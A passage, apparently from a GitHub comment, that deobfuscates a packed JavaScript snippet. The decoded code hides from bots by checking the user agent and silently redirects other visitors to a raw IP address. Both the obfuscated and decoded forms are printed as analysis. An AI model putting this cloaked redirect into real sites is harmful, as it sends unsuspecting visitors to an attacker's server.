3B\x6A\x20\x4B\x3D\x5B\x65\x5B\x36\x5D\x2C\x65\x5B\x37\x5D\x2C\x65\x5B\x38\x5D\x2C\x65\x5B\x39\x5D\x2C\x65\x5B\x31\x30\x5D\x2C\x65\x5B\x31\x31\x5D\x5D\x3B\x6A\x20\x4C\x3D\x50\x3B\x49\x28\x4A\x2C\x42\x28\x74\x2C\x4B\x2C\x4C\x29\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x5F\x30\x78\x39\x33\x64\x33\x7C\x5F\x30\x78\x37\x35\x36\x64\x7C\x5F\x30\x78\x31\x34\x63\x64\x7C\x78\x37\x34\x7C\x78\x36\x35\x7C\x76\x61\x72\x7C\x78\x33\x31\x7C\x78\x37\x32\x7C\x78\x37\x33\x7C\x78\x36\x38\x7C\x78\x37\x30\x7C\x78\x32\x46\x7C\x78\x36\x36\x7C\x78\x36\x45\x7C\x78\x32\x45\x7C\x7C\x78\x36\x46\x7C\x78\x37\x37\x7C\x72\x65\x74\x75\x72\x6E\x7C\x69\x66\x7C\x78\x36\x39\x7C\x78\x33\x36\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x61\x6C\x6C\x6F\x77\x7C\x78\x37\x35\x7C\x78\x36\x31\x7C\x78\x36\x34\x7C\x78\x33\x32\x7C\x66\x61\x6C\x73\x65\x7C\x78\x36\x37\x7C\x6C\x6F\x63\x61\x74\x65\x7C\x75\x72\x6C\x7C\x6E\x6F\x74\x41\x6C\x6C\x6F\x77\x7C\x6D\x69\x6E\x7C\x78\x34\x46\x7C\x78\x34\x33\x7C\x78\x36\x43\x7C\x32\x35\x7C\x78\x37\x38\x7C\x78\x33\x37\x7C\x78\x33\x30\x7C\x66\x6F\x72\x7C\x78\x33\x35\x7C\x74\x72\x75\x65\x7C\x78\x33\x46\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x78\x36\x33\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x7C\x7C\x78\x34\x31\x7C\x78\x34\x43\x7C\x78\x33\x41\x7C\x78\x36\x32","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];var _0xf615=[_0x3ac2[0],_0x3ac2[1],_0x3ac2[2],_0x3ac2[3],_0x3ac2[4],_0x3ac2[5],_0x3ac2[6],_0x3ac2[7],_0x3ac2[8],_0x3ac2[9]];eval(function(b,c,d,e,f,g){f=function(a){return(a<c?_0xf615[4]:f(parseInt(a/c)))+((a=a%c)>35?String[_0xf615[5]](a+29):a.toString(36))};if(!_0xf615[4][_0xf615[6]](/^/,String)){while(d--){g[f(d)]=e[d]||f(d)};e=[function(a){return g[a]}];f=function(){return _0xf615[7]};d=1};while(d--){if(e[d]){b=b[_0xf615[6]](new RegExp(_0xf615[8]+f(d)+_0xf615[8],_0xf615[9]),e[d])}};return b}(_0xf615[0],62,68,_0xf615[3][_0xf615[2]](_0xf615[1]),0,{}));

you can see what this code do if you replace return b with console.log(b); it show this

var _0x14cd=["\x6C\x65\x6E\x67\x74\x68","\x69\x6E\x64\x65\x78\x4F\x66","\x68\x72\x65\x66","\x74\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x68\x74\x74\x70\x3A\x2F\x2F\x32\x31\x36\x2E\x31\x37\x2E\x31\x30\x31\x2E\x31\x35\x36\x2F\x3F\x32","\x68\x74\x74\x70","\x63\x72\x61\x77","\x62\x6F\x74","\x73\x75\x72\x66","\x73\x70\x69\x64","\x74\x77\x65\x65\x74"];var _0x756d=[_0x14cd[0],_0x14cd[1],_0x14cd[2],_0x14cd[3],_0x14cd[4],_0x14cd[5],_0x14cd[6],_0x14cd[7],_0x14cd[8],_0x14cd[9],_0x14cd[10],_0x14cd[11]];var _0x93d3=[_0x756d[0],_0x756d[1],_0x756d[2],_0x756d[3],_0x756d[4],_0x756d[5],_0x756d[6],_0x756d[7],_0x756d[8],_0x756d[9],_0x756d[10],_0x756d[11]];function allow(a,b,c){if(a[_0x93d3[0]]<c){return false};for(var d=0;d<b[_0x93d3[0]];d++){if(a[_0x93d3[1]](b[d])!=-1){return false}};return true};function locate(a,b){if(b){location[_0x93d3[2]]=a}};var t=navigator[_0x93d3[4]][_0x93d3[3]]();var url=_0x93d3[5];var notAllow=[_0x93d3[6],_0x93d3[7],_0x93d3[8],_0x93d3[9],_0x93d3[10],_0x93d3[11]];var min=25;locate(url,allow(t,notAllow,min));

you can see what it does if you change this locate(a,b){if(b){location[_0x93d3[2]]=a} to locate(a,b){if(b){console.log('location["' + _0x93d3[2] +'"]="'+a+'"');}

and this show just a link #LOL

location["href"]="http://216.17.101.156/?2"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment